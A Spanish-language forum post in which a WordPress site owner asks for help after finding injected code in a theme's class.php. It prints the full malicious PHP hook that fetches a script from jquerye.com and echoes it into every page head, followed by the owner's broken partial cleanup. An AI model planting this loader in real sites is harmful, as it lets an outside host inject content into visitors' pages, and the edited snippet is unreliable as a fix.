Código malicioso en wordpress

[cuaji]

Tengo un sitio wordpress, ayer encontré este mensaje en la parte superior del sitio (El sitio se sigue mostrando abajo del mensaje) :


404 Not Found
The server can not find the requested page:
www.jquerye.com/jquery-1.6.3.min.js (port 80)
Please forward this error screen to www.jquerye.com's WebMaster.


Procedí a buscar el código que generaba esto y lo encontré dentro de la carpeta del theme, en un archivo llamado class.php, el código lucía así:


<?php if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
if (function_exists('curl_init')){
$url = "http://www.jquerye.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}
}
add_action('wp_head', 'insert_jquery_slider');}
?>


Lo que hice fue eliminar la parte "mala" del código, y quedó así:


<?php if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){

add_action('wp_head', 'insert_jquery_slider');}
}
?>


Eso funcionó, el mensaje ya no sale en la parte superior del sitio, pero cuando entro a www.misitio.com/wp-admin

Sale este mensaje:


Warning: Cannot modify header information


Es un código que apareció en muchísimos sitios esta mañana, si miras dice "jquerye" el enlace.
Bueno, espero respuestas maestros, muchas gracias!